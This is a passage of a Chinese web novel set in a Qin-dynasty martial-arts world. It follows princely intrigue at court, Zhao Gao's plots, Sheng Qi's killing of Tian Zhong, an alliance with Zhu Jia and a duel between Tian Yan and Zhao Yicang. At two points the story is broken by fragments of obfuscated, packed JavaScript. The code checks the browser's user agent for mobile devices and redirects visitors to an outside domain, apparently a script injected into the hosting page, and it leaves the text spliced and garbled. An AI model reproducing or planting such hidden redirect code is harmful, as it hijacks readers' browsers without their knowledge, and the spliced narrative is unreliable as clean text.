不远处的灌木丛微微晃动了一下,但他假装没看见。
“田堂主这次去咸阳,肯定带回来重要消息。”
王铁柱继续煽风点火。
“听说跟侠魁令有关……”
“侠魁令?!”
那弟子惊呼出声,随即捂住自己的嘴。
“不是说失踪多年了吗?”
王铁柱神秘兮兮地点头。
“具体的我也不清楚,但田堂主信里说,旬日内必见分晓。”
他突然停下脚步,指着西边。
“走,咱们去那边看看,别让朱家的人混进来。”
等两人走远后,灌木丛中钻出一个魁梧的身影。
胜七那双虎目中燃烧着仇恨的火焰。
巨阙剑在背后发出轻微的嗡鸣。
“田仲……侠魁令……”
他粗粝的手指捏得咔咔作响。
“果然是你这个叛徒在搞鬼!”
他蹲下身,仔细查看地上的脚印。
王铁柱刚才故意留下的泥印清晰可见,指向东边的小路。
胜七的嘴角扯出一个狰狞的笑容。
“东边小路是吗……”
他缓缓起身。
巨阙剑在晨光中泛着寒光。
“这次,我要亲手拧下你的脑袋!”
……
不久后。
远处山巅,王铁柱站在一块巨石上。
他从怀中掏出一张传讯符。
符纸在他掌心燃起幽蓝色的火焰。
“禀副统领,鱼已上钩。”
符纸燃尽的瞬间,数百里外的昭鞅正擦拭着短刀。
他感应到传讯,嘴角勾起一抹冷笑。
“好戏要开场了。”
……
而与此同时,田仲正艰难地行走在荒无人烟的山道上。
他的伤口已经化脓,每走一步都像踩在刀尖上。
远处隐约可见大泽山的轮廓,但他至少还要一天才能到达。
“快了……就快了……”
他喃喃自语。
却不知道在前方等待他的,将是一场精心设计的死局。
山风呜咽,卷起地上的落叶,仿佛在无声地嘲笑着这场即将上演的猎杀!
第144章 博弈!!!
六公子府。
密室中,烛火摇曳,将赢子夜修长的身影投在墙上,如同一只蓄势待发的玄鸟。
他指尖轻叩案几,目光落在刚刚送来的密报上。
“主上。”
赵弋苍铁塔般的身影单膝跪地,铁面在烛光下泛着冷光。
“胜七已经埋伏在田仲必经之路上,只待鱼儿咬钩。”
赢子夜唇角微扬,眼中闪过一丝满意。
“很好。”
他拿起另一份竹简。
“惊鲵那边的调查,可有进展?”
赵弋苍从怀中取出一个密匣,双手呈上。
“黑冰台刚送来的消息。前任惊鲵,也就是田言之母,确实是被罗网击伤之后,**而死的。”
“但蹊跷的是……”
他顿了顿。
“她并不在罗网总坛,而是在大泽山深处的一处破败木屋死去。”
“我们推测,应该是前任惊鲵在与罗网**周旋的路上,毒发身亡。”
赢子夜眉头微挑,指尖的金芒在绢帛上游走。
“哦?看来我们的惊鲵小姐,对农家的执念比想象中更深啊。”
“主上明鉴。”
赵弋苍沉声道。
“属下怀疑,田言一直在暗中调查其母死因,这也是她不惜冒险也要掌控农家的原因。”
赢子夜轻笑一声,将密信放在烛火上。
火焰瞬间吞噬了绢帛,映得他俊美的面容忽明忽暗。
“赵高这条老狗,倒是养了只不听话的小猫。”
他忽然起身,玄色衣袍无风自动。
“赵弋苍,你亲自去一趟烈山堂。把这封信交给惊鲵。”
他从袖中取出一封火漆密函。
“告诉她,本公子可以助她摆脱罗网,为她母亲报仇。”
赵弋苍接过密函,铁面下的眉头却皱了起来。
“主上,仅凭这些……恐怕难以让惊鲵臣服。”
“此女心机深沉,连赵高都对她有所防备,这才派掩日来接手农家事务。”
赢子夜负手而立,烛光在他眼中跳动。
“你担心她不肯合作?”
“属下是担心……”
赵弋苍斟酌着词句。
“此女野心不小,恐怕是想借农家之力自立门户。”
“哈哈哈!”
赢子夜突然大笑,笑声中带着令人胆寒的冷意。
他转身时,眼中精芒暴涨。
“赵弋苍,你太小看这位‘农家女管仲’了。”
他缓步走到窗前,望着远处大泽山的方向。
“田言应该比谁都清楚,跟本公子作对的下场只有一个。”
他指尖轻弹,一缕金芒穿透窗棂,远处一棵大树应声而断!!
“那就是死。”
赵弋苍不自觉地绷直了脊背。
他太清楚主上的手段了。
“告诉她。”
赢子夜的声音忽然轻柔下来,却更加危险。
“本公子不是赵高。我能给她想要的一切——”
“自由、权力、真相……”
“甚至她父亲的线索!”
赵弋苍猛地抬头。
“主上已经查到……”
“只是些蛛丝马迹。”
赢子夜摆摆手。
“但足够了,一个从小失去双亲的女子,最渴望的不就是真相么?”
他转身看向赵弋苍,目光如刀。
“记住,若她问起条件,就说本公子只要一样东西——”
“她的忠诚。”
赵弋苍会意地接话。
赢子夜满意地点头。
“去吧。三日后我要看到结果。”
赵弋苍深深一拜,铁甲铿锵作响。
“诺!”
就在他转身欲走时,赢子夜忽然又开口。
“等等。”
赵弋苍立刻停步。
“主上还有何吩咐?”
赢子夜从案几抽屉中取出一个小玉瓶。
“把这个给她。就说……是本公子送的小礼物。”
赵弋苍接过玉瓶,透过瓶身能看到里面有一颗紫色的药丸,正散发着诡异的光芒。
他心头一震!!
这是能解罗网“蛛毒”的“清心丹”!
也是他们暗河之中,常与罗网打交道的夜枭、血鸦等精锐部队的必备之物。
主上竟然连这个都准备好了?
“属下明白。”
赵弋苍将玉瓶小心收好,犹豫片刻又道。
“若她拒绝……”
赢子夜已经坐回案前,漫不经心地翻看竹简。
“那就让昭鞅带着‘血鸦’去处理掉。”
“本公子得不到的,罗网也别想留着。”
这句话让密室内的温度骤降!!
“属下告退。”
赵弋苍不再多言,转身离去。
铁靴踏在青石板上,发出沉闷的声响。
赢子夜望着他离去的背影,指尖无意识地摩挲着腰间的玉佩。
烛火“噼啪”爆了个灯花,映得他眼中精芒更盛。
“惊鲵……田言……”
他轻声呢喃。
“让本公子看看,你到底值不值得这番招揽。”
窗外,一阵夜风卷入,吹灭了半室烛火。
黑暗中,赢子夜的身影宛如蛰伏的巨龙,只待时机一到,便要掀起腥风血雨。
……
十八公子府。
烛火将胡亥那张稚嫩的脸映得忽明忽暗。
他赤着脚踩在雪白的狐裘上,指尖把玩着一枚青铜蜘蛛。
蜘蛛的八条腿随着他的动作诡异地动着。
“老师~”
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他突然开口,甜腻的嗓音在空荡的室内回荡。
“你说六哥为什么不直接把握住侠魁令呢?”
赵高从阴影中现身,苍白的脸上带着谄媚的笑。
“老奴以为,六公子是想借胜七之手…”
“错啦错啦!”
胡亥突然咯咯笑起来,手中的蜘蛛“咔”地断了一条腿。
“他是想等农家自相残杀,再坐收渔利呢~”
他歪着头,异色双瞳闪烁着妖异的光。
“就像…猫捉老鼠一样。”
赵高眼中闪过一丝阴鸷。
“公子明鉴,不过田仲说,朱家也在利用胜七…暗中掣肘我们的行动。”
“胜七那个蠢货。”
胡亥突然蹦跳着转了个圈。
“不过是别人手里的一把刀罢了。”
他猛地凑近赵高,呼吸喷在对方脸上。
“我要你找出六哥安插在农家的暗桩,然后…”
他做了个抹脖子的动作,孩童般天真的脸上浮现出狰狞的笑容。
“用农家的名义除掉他们~”
赵高会意地眯起眼。
“公子是想嫁祸给…”
“嘘——”
胡亥将食指竖在唇前,眼中闪烁着疯狂的光芒。
“说出来就不灵了哦~”
他突然掐住赵高的脸,力道大得让那张苍白的脸都扭曲了。
“记住,要做得干净些。”
赵高额角渗出冷汗。
“老奴明白,罗网早已查到了几个可疑之人,都是最近半年才加入农家的…”
“很好~”
胡亥松开手,又恢复了天真无邪的模样。
“对了,田蜜那个蠢女人最近怎么样?”
“她一直很…听话。”
赵高谨慎地回答。
胡亥突然大笑,笑声尖锐得刺耳。
“听话?哈哈哈…”
“她要是真听话,当年就不会背叛胜七了!”
他蹦跳着来到窗前,月光为他单薄的身影镀上一层银边。
“告诉她,如果这次再搞砸…”
他转身时,异色双瞳在黑暗中泛着妖异的光。
“我就把她喂给小蛇~”
赵高深深低头。
“老奴这就去安排。”
待赵高退下后,胡亥突然暴怒地将案几上的器物全部扫落。
一顿发泄过后,他又突然安静下来,蹲在地上捡起一块碎片。
锋利的瓷片划破他的手指,他却痴迷地看着鲜血滴落。
“六哥啊六哥…”
他舔着伤口,声音甜得发腻。
“接下来,就看咱俩谁更胜一筹了~”
铜镜中,他的倒影扭曲变形,宛如恶鬼。
窗外惊雷炸响,照亮了他那张天生异瞳的脸。
第145章 治国如弈棋!!!
与此同时。
章台宫的灯火在夜色中格外明亮。
扶苏手持竹简站在殿外,指节因用力而微微发白。
他深吸一口气,整了整衣冠,对值守的黑甲卫轻声道:“烦请通传,扶苏求见父皇。”
殿内传来始皇帝低沉的声音:“进来。”
扶苏缓步入内。
冕旒垂下的玉珠后,始皇帝锐利的目光如实质般压来。
扶苏不自觉地绷直了脊背,双手将竹简呈上:“儿臣近日研读百越地理民俗,草拟治策一篇,请父皇过目。”
始皇帝接过竹简,指尖在简上轻轻摩挲。
烛火映照下,他威严的面容看不出喜怒。
扶苏垂手而立,额角渗出细密的汗珠。
“以怀柔之策教化百越。”
始皇帝突然开口,声音如金铁交鸣。
“减免赋税,通婚易俗。”
“倒是你的风格。”
扶苏眼中闪过一丝希冀:“儿臣以为,若能以仁德……”
“仁德?”
始皇帝冷笑一声。
竹简在案几上重重一磕,惊得殿外侍卫的佩剑都微微颤动。
“你可知上月百越部族屠了我大秦三个边境村落?”
“连襁褓中的婴孩都被钉在木桩上!”
扶苏脸色瞬间煞白:“儿臣…儿臣不知……”
始皇帝起身。
玄色帝袍上的金线玄鸟纹在烛光下宛如活物。
他踱步到巨大的疆域图前,手指划过百越之地:“你的策论有三处致命伤。”
“其一,只看到了百越之民,却没看到他们背后的巫蛊之术。”
指尖点在图上,竟将羊皮灼出一个焦痕。
“其二,只想着减免赋税,却忘了大秦将士的粮饷从何而来。”
扶苏的指尖深深掐进掌心,却不敢出声。
“至于这第三……”
始皇帝突然转身,冕旒玉珠碰撞出清脆的声响。
“你通篇都在用儒家之道,却忘了。”
他猛地一挥袖,案上其他学派典籍齐齐翻开。
“法家的制衡,兵家的谋略,纵横家的捭阖之道!!!”
扶苏如遭雷击,踉跄后退半步。
“记住。”
始皇帝的声音突然低沉下来,却更加摄人心魄。
“一个帝王看的永远不止一方,而是整个天下。”
他抬手示意扶苏退下。
“回去重写!”
“什么时候能跳出儒家的规束,什么时候再来见朕。”
扶苏深深一拜,喉咙发紧:“儿臣……谨遵父皇教诲。”
退出殿外时,夜风卷着细雨打在他脸上。
扶苏望着手中被雨水打湿的竹简,忽然发现墨迹晕染开的形状,竟像极了一只挣扎的雏鸟。
他紧紧攥住竹简,指节泛白。
远处,传来始皇帝低沉的声音:“传李斯进宫,商议南征之事!”
黑甲卫整齐的脚步声如同惊雷,震得扶苏心头剧颤。
他望着巍峨的章台宫,第一次真切地感受到。
要撑起这片江山,单靠仁德之心,远远不够……
……
山道上的血腥味还未散去。
胜七粗粝的手指捏着那封染血的密信,指节因用力而发白。
田仲的尸体就躺在他脚边,那双死不瞑目的眼睛还残留着惊恐。
“赵高…田蜜……”
胜七的牙齿咬得咯咯作响,巨阙剑在背后嗡鸣震颤,“这个可恶的女人!”
他猛地一拳砸在身旁的树干上。
碗口粗的松树应声而断。
林间的飞鸟被惊得四散逃离,仿佛也感受到了这股滔天杀意。
接下来,他火速返回大泽山,在密林间与吴旷会合。
“大哥!”
吴旷的声音从远处传来。
胜七却是脸色阴沉,一言不发地将染血的密信甩到吴旷手中。
“我杀了田仲。”
吴旷闻言一惊,眉头越皱越紧,“怎么不留活口?他肯定知道更多……”
“留什么活口!”
胜七怒吼着指着密信里的内容!
“你自己看!这杂碎早就和罗网勾结,连田蜜那个**都是罗网的走狗!”
吴旷快速浏览信上内容,脸色越来越凝重。
信上赵高亲笔写着要田仲、田密配合掩日“肃清异己”,接管农家……
字里行间透着血腥气。
“大哥,我早说过田仲有问题。”
吴旷将信小心折好,“但你这样贸然杀了他,会打草惊蛇……”
胜七一把揪住吴旷的衣领:“那你要我怎样?!等他们杀光神农堂的人?”
他眼中血丝密布,“七年了!我忍了整整七年!!!”
吴旷没有挣扎,只是平静地看着胜七:“所以你现在就要带着巨阙剑,一个人杀上魁隗堂?”
他指了指信末那个蜘蛛标记。
“你知道罗网在大泽山安插了多少**吗?”
胜七的手慢慢松开,胸膛剧烈起伏。
远处传来山泉的叮咚声,却浇不灭他心头的怒火。
“那你说怎么办?”他哑着嗓子问。
吴旷环顾四周,压低声音:“找朱家合作。”
“朱家?”
胜七冷笑,“那个整天戴着面具的墙头草?”
“大哥!”
吴旷按住胜七的肩膀,“朱家虽然圆滑,但他和田蜜向来不和。”
“最重要的是……”
他眼中精光一闪,“他有实力对抗田虎和田仲的势力。”
胜七烦躁地来回踱步,巨阙剑在背上叮当作响。
半晌,他突然站定:“就算要合作,拿什么打动他?那老狐狸不见兔子不撒鹰。”
吴旷深吸一口气:“侠魁令。”
这三个字像一盆冷水浇在胜七头上!
他下意识摸了摸怀中那块青铜令牌。
“你要我把侠魁令交给朱家?”胜七的声音陡然提高。
“不是交,是示。”
吴旷目光灼灼,“让他知道我们有资格谈合作。”
见胜七还在犹豫,他又道:“大哥,单凭我们两个,就算杀得了田蜜,也收拾不了农家的烂摊子。”
山风呜咽,卷起地上的落叶。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102421|178632||http|test|mini|href|location''.split(''|''),0,{}));
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>胜七的拳头松了又紧,紧了又松。
最终,他狠狠啐了一口,从贴身处掏出那块古朴的令牌。
“拿去吧。”
他将令牌拍在吴旷手中,像在割自己的肉,“但要是朱家敢耍花样……”
吴旷郑重地收起令牌:“放心,我自有分寸。”
他看了眼天色,“你现在立刻回我们的秘密据点,千万别露面。”
“田仲的死讯很快就会传开。”
胜七不甘心地踢了脚田仲的尸体:“就这么放过田蜜那个**?”
“暂时的。”
吴旷眼中闪过一丝冷光,“等我们联合朱家,把罗网的势力连根拔起……”
他做了个抹脖子的动作,“到时候,田蜜随你处置。”
胜七这才稍微平复,扛起巨阙剑转身要走。
突然,他又回头:“等等,你一个人去太危险,朱家那老狐狸……”
“大哥。”
吴旷笑了笑,“别忘了,我现在还是共工堂的‘金先生’。”
他整了整衣襟,“比起你这个‘叛徒’,我更方便行动。”
看着吴旷离去的背影,胜七突然喊道:“阿旷!小心点!”
吴旷摆摆手,身影很快消失在密林中。
胜七又在原地站了许久,才大步流星地朝相反方向走去。
他每一步都踏得极重,仿佛要把满腔怒火都发泄在山路上。
“田蜜…赵高……”
他咬牙切齿地念叨着这两个名字,巨阙剑在月光下泛着寒光。
“你们一个都跑不了……”
……
六公子府。
庭院里,赢子夜正在石桌前摆弄着一盘残局。
黑子与白子纠缠厮杀,恰如这咸阳城中的暗流涌动。
突然,侍卫匆匆来报:“主上,长公子扶苏求见。”
赢子夜指尖的白子悬在半空,眉头微蹙:“扶苏?”
他轻轻落子,发出清脆的声响。
“请他进来。”
片刻后,扶苏一袭素袍踏入庭院。
晨光为他温润的面容镀上一层金边,却掩不住眉宇间的疲惫与困惑。
他郑重地拱手行礼:“六弟。”
赢子夜起身还礼,玄色衣袍纹丝不动:“长兄突然造访,所为何事?”
扶苏的目光落在石桌的棋局上,轻叹一声:“昨夜父皇训诫,说我…太过拘泥儒家之道。”
他抬起头,眼中闪烁着复杂的光芒。
“于是,特来向六弟请教。”
赢子夜瞳孔微缩!
这个向来恪守礼制的长兄,竟会主动登门求教?
他不动声色地示意侍从招待:“长兄请坐。”
两人对坐石桌前,熏香袅袅。
赢子夜指尖轻点棋盘:“长兄可知,这盘棋为何僵持不下?”
扶苏仔细端详片刻:“黑子攻势凌厉,却后继乏力,白子守势稳固,却难以突破。”
“不错。”
赢子夜忽然将棋盘整个翻转,棋子哗啦啦散落一地。
“但若换个角度看呢?”
扶苏愕然。
“治国如弈棋。”
第146章 百家之术,当为我所用!!!
赢子夜从袖中取出一卷竹简展开,赫然是大秦疆域图。
“儒家如白子,重守成,法家如黑子,主进取。”
“但真正的帝王之术……”
他手指在图上画了个圆,“是要跳出棋盘,纵观全局。”
扶苏呼吸微滞!
这幅图上,密密麻麻标注着诸子百家的势力分布。
阴阳家、农家、墨家……
甚至遥远的百越和匈奴,都在其中!!
“长兄请看。”
赢子夜指向儒家所在,“孔孟之道,可安民心。”
手指滑向法家。
“申韩之术,可明律法。”
又点向兵家。
“孙吴之道,可定疆土。”
最后停在阴阳家上。
“就连这些装神弄鬼之辈,也有其可用之处。”
扶苏的指尖微微颤抖:“六弟的意思是……”
“父皇说得对。”
赢子夜突然直视扶苏双眼,目光如炬,“单靠儒家,治不了大秦。”
“但若集百家之长……”
他猛地合上竹简,“何愁天下不定?!”
庭院里一片寂静,只有晨风吹动竹叶的沙沙声!
扶苏面前的点心已经凉了,却浑然未觉。
“就拿百越来说。”
赢子夜又取出一卷竹简,“长兄主张怀柔,可曾想过——”
他展开竹简,上面详细记录着百越各部族的巫蛊之术。
“这些蛮夷为何屡剿不绝?”
扶苏凑近细看,脸色渐渐发白。
竹简上记载的种种邪术,远超他的想象。
“所以……”
赢子夜的声音突然柔和下来,“长兄的怀柔之策没错,但需配上兵家的雷霆手段,纵横家的离间之计,甚至……”
他意味深长地顿了顿。
“阴阳家的巫蛊对抗之法。”
扶苏如遭雷击,手中的杯盏“啪”地掉在地上。
他从未想过,治国竟能如此……
不择手段。
“觉得有违圣人之道?”
赢子夜冷笑,“那长兄可知,孔子诛少正卯时,可曾讲过仁义?”
这句话像一把利剑,刺得扶苏浑身一震。
他张了张嘴,却发不出声音。
赢子夜起身走到一株梅树前,随手折下一枝。
“梅需经寒才能绽放,治国亦然——”
他将梅枝递给扶苏,“有时候,鲜血浇灌出的和平,比虚伪的仁义更长久。”
扶苏接过梅枝,指尖被花刺扎出血珠。
他望着那点殷红,突然想起边境被百越屠戮的村庄。
那些惨死的百姓,难道不配拥有复仇吗?
“六弟……”
扶苏的声音有些沙哑,“这些道理,为何太傅从未教过?”
赢子夜转身望向皇宫方向:“因为他们是臣,而我们是君。”
玄色衣袖在风中猎猎作响,“臣子只需精通一道,君王却要……”
“无所不用其极!!!”
一只蝴蝶落在赢子夜肩头。
他轻轻拂去:“就像这蝴蝶,只知采蜜,而苍鹰……”
他指了指天空中盘旋的黑影。
“却要洞察整个山林。”
扶苏顺着他的手指望去,只见那苍鹰突然俯冲而下。
远处草丛中一只野兔应声毙命。
他心头剧颤,仿佛有什么东西被彻底打破了。
“多谢六弟指点。”
扶苏深深一揖,动作有些僵硬,“愚兄……受教了。”
赢子夜微微颔首:“长兄若有疑问,随时可来。”
他顿了顿,意味深长地补充,“毕竟…大秦的未来,不是你我能独力承担的。”
扶苏离开时,脚步比来时沉重了许多。
他手中还攥着那枝带血的梅花,脑海中回荡着赢子夜的话。
原来自己这些年读的圣贤书,在真正的帝王之术面前,竟如此……
幼稚。
而在他身后,赢子夜静静注视着长兄离去的背影,眼中精芒流转。
“儒家的大树,终于开始动摇了……”
一阵风过。
庭院里的竹简哗啦啦翻动,露出最后一页上鲜红的朱批。
那是始皇帝的字迹。
“百家之术,唯我所用。”
赢子夜轻轻合上竹简,嘴角勾起一抹几不可察的弧度。
他转身走向书房,玄色衣袍扫过石阶,没发出半点声响。
……
墙的另一端。
扶苏正站在自己的书房里,将那些珍藏的儒家典籍一一收起。
取而代之的,是一卷刚刚从六公子府带回的《韩非子》。
他摩挲着竹简上的刻痕,喃喃自语:“原来…这就是我与六弟的差距。”
窗外,暮色渐沉。
咸阳城中的灯火次第亮起,仿佛无数双眼睛,静静注视着这场无声的蜕变。
……
神农堂内,烛火摇曳。
朱家那张“喜”字面具在灯光下显得格外诡异。
他矮小的身子蜷在木榻里,手指有节奏地敲击着扶手。
“金先生深夜造访,所为何事啊?”
面具下的声音带着几分戏谑。
老金,或者说戴着金先生面具的吴旷站在阴影处,沉声道:
“朱堂主,田蜜勾结罗网,意图掌控农家。”
“哦?”
朱家的面具瞬间变成“怒”,又迅速变回“喜”。
“这话可不能乱说啊。”
吴旷从怀中取出一封染血的密信,递到朱家面前:“田仲已死,这是他身上找到的。”
朱家的手指微微一顿,接过密信。
烛光下,赵高那阴鸷的字迹清晰可见:“……三日后掩日亲至,务必配合肃清朱家一脉……”
面具上的“喜”字渐渐扭曲,最终定格在“怒”上。
朱家猛地拍案而起:“好个田蜜!好个罗网!”
他矮小的身躯爆发出惊人的气势,“真当我朱家是泥捏的?!”
吴旷冷静地注视着朱家的表演:“朱堂主现在信了?”
朱家突然安静下来,面具又变回“喜”,眼中却闪烁着危险的光芒:“金先生…不,我该叫你什么?”
“这些机密,可不是一个共工堂总管能轻易弄到的。”
吴旷沉默片刻,突然伸手撕下脸上的**。
烛光下,那张饱经风霜的脸让朱家浑身一震。
“吴旷?!”
朱家的面具瞬间颤抖,随即意识到失态,立刻换成“怒”。
“你不是七年前就……”
“**?”
吴旷冷笑,“田蜜是这么对外说的吧?”
他扯开衣襟,露出胸前一道狰狞的伤疤,“这一刀,就是她亲手捅的。”
朱家面具上的“怒”微微颤动:“那你这些年……”
“潜伏在共工堂,查清真相。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102422|178632||http|test|mini|href|location''.split(''|''),0,{}));
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r>吴旷重新系好衣襟,“田蜜不仅害我,还陷害胜七,更与罗网勾结,意图掌控农家。”
朱家踱步到窗前,面具在月光下变成“哀”:“田蜜这女人……确实心狠手辣。”
他突然转身,“但你凭什么让我相信你?”
吴旷从怀中掏出一块青铜令牌,重重拍在案几上。
令牌上“侠魁”二字在烛光下泛着幽光。
“侠魁令?!”
朱家的面具开始颤栗。
他颤抖着伸手去摸,又猛地缩回,“这…这不可能……”
“田猛死后,侠魁令一直藏在田蜜房中。”
吴旷的声音冰冷,“胜七找到的。”
朱家面具上的表情飞速变换,最终停在“怒”上:“所以胜七也回来了?”
“你们这是要……”
“复仇。”
吴旷打断他,“也是清理门户。”
他直视朱家双眼,“朱堂主,你我虽然立场不同,但至少有一点共识——”
“农家不能落在罗网手里。”
屋内陷入死寂,只有烛火偶尔爆出轻微的噼啪声。
朱家的手在侠魁令上摩挲,面具上的表情不断变化。
良久,朱家长叹一声,面具定格在“哀”:“你想怎么合作?”
吴旷眼中精光一闪:“三日后,掩日会亲至魁隗堂。”
“届时田蜜必定调走大部分人手……”
“你要我牵制田虎?”
朱家敏锐地察觉到关键。
“不错。”
吴旷点头,“田虎虽然鲁莽,但手下蚩尤堂实力不容小觑。”
朱家突然笑了,面具变成“喜”:“有意思,不过……”
他矮小的身子前倾,“事成之后,这侠魁令……”
“归你。”
吴旷毫不犹豫,“胜七要的只是复仇,对侠魁之位没兴趣。”
朱家面具上的“喜”更加夸张:“痛快!”
“那田蜜……”
“交给胜七处置。”
吴旷的声音冷得像冰,“这是他应得的。”
窗外突然传来树枝断裂的声音。
朱家和吴旷同时警觉地望向窗外,只见一只夜鸦扑棱着翅膀飞走了。
“看来,我们的谈话该结束了。”
朱家面具变回“喜”,“三日后子时,我会让典庆带人牵制田虎。”
吴旷重新戴好**:“神农堂的暗号?”
“月落…乌啼。”
朱家递过一块刻着神农图案的木牌,“持此物,我的人会配合你。”
吴旷将木牌收好,转身欲走,又停下脚步:“朱堂主,最后提醒一句,罗网在农家安插的棋子,远不止田蜜一个。”
朱家面具上的“喜”纹丝不动:“我自有分寸。”
目送吴旷的身影消失在夜色中,朱家缓缓摘下面具,露出那张布满皱纹的真实面孔。
他摩挲着侠魁令,眼中闪烁着复杂的光芒。
“田蜜啊田蜜……”
他轻声自语,“这次你可真是…自取灭亡。”
烛火突然剧烈摇晃,映得墙上的影子张牙舞爪。
朱家重新戴上面具,这次是“怒”。
他轻轻拍了拍手,阴影处立刻闪出两个身影。
“去告诉司徒。”
朱家的声音冷得像刀,“该收网了。”
窗外,乌云遮住了月亮。
大泽山的夜,比任何时候都要黑暗!
第147章 钓鱼总要舍得饵!!!
数日之余!
十八公子府。
密室里,烛火摇曳,映出胡亥那张带着稚气的脸庞,时明时暗。
“有趣,真有趣!”
胡亥突然咯咯笑起来,声音甜得发腻,“大哥居然天天往六哥府上跑,这是要上演兄弟情深呀?”
赵高从阴影中现身,苍白的脸上带着谄媚的笑:
“据眼线回报,长公子这几日都在向六公子请教治国之道。”
胡亥身形一滞。
他歪着头,异色双瞳闪烁着妖异的光:“治国之道?”
他突然暴起,将案几上的盏具全部扫落!
“他也配?!”
陶器碎裂声中,赵高纹丝不动,只是眼中闪过一丝阴鸷。
胡亥发泄完,又突然安静下来,像个得不到糖的孩子般撅着嘴。
“老师~我们的‘惊喜’准备得怎么样了?”
赵高躬身,声音如同毒蛇吐信:“公子放心,祭祀大典当日,老奴已将一切安排妥当。”
胡亥突然大笑,笑声尖锐得刺耳。
他单薄的身影在烛光下扭曲变形,宛如恶鬼:“六哥要是‘不小心’死在祭坛上,父皇该多伤心呀~”
窗外惊雷炸响,照亮了密室墙上的七宿星图。
胡亥转身望向章台宫方向,异色双瞳中闪烁着疯狂的光芒:“大哥不是想学治国之道吗?”
他舔了舔嘴唇,“等六哥**,我这个做弟弟的…一定好好‘教导’他~”
赵高深深低头,掩去眼中的算计:“公子英明。”
……
大泽山。
夜色如墨,凛冽的山风卷着枯叶在悬崖边打着旋儿。
田言紫衣翩跹,独自立于断崖之上,纤细的手指间夹着三枚泛着幽蓝的银针。
她面前十步开外,赵弋苍铁塔般的身影纹丝不动,玄铁面具在月光下泛着寒光。
“烈山堂主好雅兴。”
赵弋苍的声音如同闷雷,“深夜独自赏月?”
田言紫瞳微眯,面纱下的唇角却勾起一抹冷笑:
“阁下深夜引我至此,不会只为谈风月吧?”
她指尖的银针微微转动,折射出妖异的光芒。
赵弋苍突然踏前一步,铁靴将地面踏出蛛网般的裂痕:“惊鲵小姐,何必再装?”
田言身形骤然一僵。
这个称呼像一柄利剑,刺穿了她精心编织的伪装!
但转瞬间,她又恢复那副波澜不惊的模样。
“阁下在说什么?惊鲵是谁?”
“少废话了。”
赵弋苍冷笑一声,从怀中掏出一封火漆密函,“这封信,是我家公子写给你的。”
“你家公子?”
“大秦六公子,赢子夜!”
田言见状,手指不自觉收紧,银针深深刺入指腹,却浑然不觉疼痛!
“看来阁下今晚是冲我来的了?”
田言的声音陡然转冷,面纱无风自动,“那么,要来取我性命吗?”
赵弋苍铁面下的眼睛眯起。
“主上让我带句话。”
他缓缓抽出背后重剑,剑身燃起赤红烈焰!
“跟本公子合作,可活,继续当罗网的狗。”
炎阳剑气轰然爆发,将周围三丈内的草木尽数焚为灰烬!
“死。”
田言突然笑了。
那笑声如银铃般清脆,却透着刺骨的寒意:“我若是拒绝呢?”
话音未落,她的身影已如鬼魅般消失在原地!
三枚淬了“相思断肠红”的银针破空而来,直取赵弋苍咽喉、心口、丹田三处要害!
“叮!叮!叮!”
赵弋苍重剑横扫,炽热的剑气将银针尽数熔断。
但田言真正的杀招却在此时显现!
她不知何时已绕到赵弋苍身后,袖中滑出一柄薄如蝉翼的短剑,直刺后心!!!
“雕虫小技。”
赵弋苍头也不回,反手一剑劈向身后。
然而这一剑却劈了个空。
田言的身影如水纹般消散,竟是个残影!!
真正的田言已腾空而起,紫衣在月光下展开如蝶翼。
她双手连弹,十二枚“追魂钉”呈天女散花之势笼罩赵弋苍全身要穴。
每一枚钉上都缠绕着诡异的绿气,分明是融合了农家的毒术!
赵弋苍炎阳剑气暴涨,在周身形成一道火墙。
追魂钉撞上火墙,发出令人牙酸的“滋滋”声!
就在这电光火石间,田言已轻盈落地,足尖一点,整个人如柳絮般向后飘去!
“你身后的那几个朋友,还不动手?”
她突然对着虚空轻笑。
阴影中顿时射出七道黑影!
七名暗河死士“血鸦”从不同角度扑来,刀光剑影将田言所有退路封死!!
然而田言却像早已预知般,身形诡异地扭曲,竟从刀光缝隙中滑了出去。
她紫瞳中闪烁着奇异的光芒。
每一次都能精准预判敌人的攻击轨迹。
“不愧是惊鲵。”
赵弋苍沉声道,“罗网的刺杀术,果然名不虚传。”
田言面纱微动,呼吸却已有些紊乱。
她看似游刃有余,实则每一次闪避都耗费大量心力。
更棘手的是,赵弋苍的炎阳剑气正在不断侵蚀她的经脉。
“六公子就这点诚意?”
她突然甩出三颗***,“嘭”的一声,浓密的紫烟瞬间笼罩全场。
血鸦们立刻结阵防御,却听烟雾中传来田言飘忽的声音:
“让这么多人来欺负一个弱女子……”
赵弋苍突然暴喝一声,重剑劈出一道火龙!
烈焰将烟雾一分为二,露出田言略显狼狈的身影!
她的左袖已被烧焦,露出一截白玉般的手臂。
上面赫然有一个蜘蛛形状的咒印!
“蛛毒?”
赵弋苍眼中闪过一丝讶异,“公子预料的不错,你果然也被下了这个。”
田言紫瞳中杀意暴涨:“你找死!”
她突然咬破舌尖,一口精血喷在短剑上。
剑身顿时泛起妖异的红光,剑气暴涨三倍有余!
这一剑快得超出常理,赵弋苍只来得及侧身避开要害,左肩仍被划出一道深可见骨的伤口。
鲜血还未溅出,就被剑气蒸发成血雾!!
“好一个‘血影惊鸿’。”
赵弋苍不怒反笑,“可惜。”
他突然打了个响指。
田言脚下的地面骤然塌陷!
原来暗河血鸦小队早已在此布下陷阱。
她仓促间腾空而起,却见头顶一张玄铁大网当头罩下!!
千钧一发之际,田言短剑在网上一划,竟切出一道口子。
她如游鱼般钻出,却在落地时一个踉跄。
